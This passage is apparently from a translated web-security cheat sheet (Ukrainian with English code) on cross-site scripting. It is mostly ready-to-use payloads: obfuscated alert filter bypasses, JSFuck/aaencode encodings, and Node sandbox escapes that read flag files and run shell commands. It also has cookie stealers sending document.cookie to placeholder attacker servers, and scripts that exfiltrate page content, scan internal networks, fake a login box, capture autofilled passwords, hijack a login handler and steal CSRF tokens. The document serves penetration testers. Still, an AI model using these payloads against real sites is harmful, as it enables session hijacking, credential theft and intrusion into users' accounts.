this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Тут є JS код, який використовує небезпечні дані, контрольовані атакуючим, наприклад location.href. Атакуючий може зловживати цим, щоб виконати довільний JS-код.
Оскільки пояснення про DOM vulnerabilities було розширено, воно перенесено на цю сторінку:

DOM XSS

Там ви знайдете детальне пояснення, що таке DOM vulnerabilities, як вони викликаються і як їх експлуатувати.
Також не забувайте, що у кінці згаданого допису є пояснення про DOM Clobbering attacks.

Upgrading Self-XSS

Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай self-XSS. Проте, якщо ви знайдете вразливий субдомен до XSS, ви можете зловживати цим XSS, щоб інжектувати cookie для всього домену і таким чином викликати cookie XSS на основному домені або інших субдоменах (тих, що вразливі до cookie XSS). Для цього ви можете використати cookie tossing attack:

Cookie Tossing

Ви можете знайти відмінний приклад зловживання цією технікою у цьому дописі в блозі.

Sending your session to the admin

Можливо, користувач може поділитися своїм профілем з адміністратором, і якщо self XSS знаходиться в профілі користувача, а адміністратор його відкриє, вразливість спрацює.

Session Mirroring

Якщо ви знайдете self XSS і веб-сторінка має session mirroring для адміністраторів, наприклад дозволяючи клієнтам просити допомогу, і для того, щоб адміністратор допоміг вам, він бачить те, що бачите ви у вашій сесії, але зі своєї сесії.

Ви можете змусити адміністратора спровокувати ваш self XSS і вкрасти його cookies/сесію.

Other Bypasses

Bypassing sanitization via WASM linear-memory template overwrite

Коли веб‑додаток використовує Emscripten/WASM, константні строки (наприклад HTML-форматні шablони) зберігаються у записуваній лінійній пам'яті. Одне переповнення всередині WASM (наприклад unchecked memcpy в шляху редагування) може пошкодити сусідні структури і перенаправити записи до цих констант. Перезапис шаблону, такого як "

%.*s

" на "" перетворює санітізований ввід у значення JavaScript-обробника і дає миттєвий DOM XSS при рендері.

Перевірте присвячену сторінку з workflow експлуатації, DevTools memory helpers та заходами захисту:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

Варто перевірити, чи відображувані значення проходять unicode normalization на сервері (або на клієнті) і скористатися цією функціональністю для обходу захистів. Приклад тут.

PHP FILTER_VALIDATE_EMAIL flag Bypass

javascript
"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Через RoR mass assignment в HTML вставляються лапки, після чого обмеження на лапки обходиться і додаткові поля (onfocus) можуть бути додані всередині тега.
Приклад форми (from this report), якщо ви відправите payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Пара "Key","Value" буде відображена таким чином:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Тоді буде вставлено атрибут onfocus і відбудеться XSS.

Спеціальні комбінації

html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS with header injection in a 302 response

Якщо ви виявите, що можете inject headers in a 302 Redirect response, можна спробувати make the browser execute arbitrary JavaScript. Це не тривіально, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді при статус-коді 302, тож простий cross-site scripting payload марний.

В this report and this one можна прочитати, як протестувати кілька протоколів всередині Location header і перевірити, чи якийсь з них дозволяє браузеру проінспектувати та виконати XSS payload у тілі відповіді.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Тільки літери, цифри та крапки

Якщо ви можете вказати callback, який javascript збирається execute, обмежений цими символами. Read this section of this post щоб дізнатися, як зловживати цією поведінкою.

Valid <script> Content-Types to XSS

(From here) Якщо ви спробуєте завантажити скрипт з content-type таким як application/octet-stream, Chrome викине таку помилку:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Єдиними Content-Types, що дозволяють Chrome виконати loaded script, є ті, що вказані в const kSupportedJavascriptTypes з https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Типи script для XSS

here) Отже, які типи можуть бути вказані для завантаження script?

html
<script type="???"></script>

Відповідь:

  • module (за замовчуванням, нічого пояснювати)
  • webbundle: Web Bundles — це функція, яка дозволяє упакувати набір даних (HTML, CSS, JS…) у файл .wbn.
html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Дозволяє покращити синтаксис import
html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Цю поведінку використали в this writeup, щоб переназначити бібліотеку на eval і зловживати нею — це може спричинити XSS.

  • speculationrules: Ця функція в основному призначена для вирішення деяких проблем, спричинених попереднім рендерингом. Працює вона так:
html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Веб Content-Types для XSS

here) Наступні content types можуть виконувати XSS у всіх браузерах:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? не в списку, але здається я бачив це на CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

В інших браузерах інші Content-Types можуть використовуватися для виконання довільного JS, див.: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Тип вмісту

Якщо сторінка повертає content-type text/xml, можна вказати простір імен і виконати довільний JS:

xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Спеціальні шаблони заміни

Коли використовується щось на кшталт "some {{template}} data".replace("{{template}}", <user_input>). Атакувальник може використати special string replacements щоб спробувати обійти деякі захисти: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Наприклад, у this writeup це використовували, щоб вийти з JSON-рядка всередині скрипта і виконати довільний код.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Якщо у вас є обмежений набір символів, перегляньте інші дійсні рішення для проблем XSJail:

javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Якщо перед виконанням недовіреного коду все undefined (як у this writeup), можливо згенерувати корисні об'єкти "нізвідки", щоб зловживати виконанням довільного недовіреного коду:

  • Використовуючи import()
javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Опосередкований доступ до require

According to this модулі в Node.js обгорнуті у функцію, ось так:

javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Тому, якщо з цього модуля ми можемо викликати іншу функцію, можна використати arguments.callee.caller.arguments[1] у тій функції, щоб отримати доступ до require:

javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Подібно до попереднього прикладу, можна використати обробники помилок для доступу до wrapper модуля та отримати функцію require:

javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
javascript
// It's also possible to execute JS code only with the chars: []`+!${}

XSS поширені payloads

Кілька payloads в 1

Steal Info JS

Iframe Пастка

Змушує користувача переміщатися по сторінці, не виходячи з iframe, і краде його дії (включно з інформацією, відправленою у формах):

Iframe Traps

Отримати Cookies

javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

tip

Ви не зможете отримати доступ до cookies з JavaScript, якщо прапорець HTTPOnly встановлено в cookie. Але тут є деякі способи обійти цей захист, якщо вам пощастить.

Викрадення вмісту сторінки

javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Знайти внутрішні IP-адреси

html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Короткі затримки вказують на порт, що відповідає Більші затримки вказують на відсутність відповіді.

Перегляньте список портів, заборонених у Chrome тут і у Firefox тут.

Блок запиту облікових даних

html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Auto-fill passwords capture

javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Коли в поле password вводяться будь‑які дані, username і password відправляються на attackers server; навіть якщо клієнт вибирає saved password і нічого не вводить, credentials будуть ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Якщо критичний handler (наприклад, function DoLogin(){...}) оголошується пізніше на сторінці, а ваш payload виконується раніше (наприклад, через inline JS-in-JS sink), визначте const з тим же ім'ям спочатку, щоб перехопити та заблокувати handler. Пізніші оголошення функцій не можуть перепризначити ім'я const, залишаючи ваш hook під контролем:

javascript
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Notes

  • Це залежить від порядку виконання: your injection має виконатися до legitimate declaration.
  • Якщо ваш payload загорнутий у eval(...), const/let зв'язування не стануть globals. Use the dynamic <script> injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” щоб гарантувати справжнє global, non-rebindable зв'язування.
  • Коли keyword filters блокують код, комбінуйте з Unicode-escaped identifiers або eval(atob('...')) delivery, як показано вище.

Keylogger

Просто шукаючи на github, я знайшов кілька різних варіантів:

Stealing CSRF tokens

javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
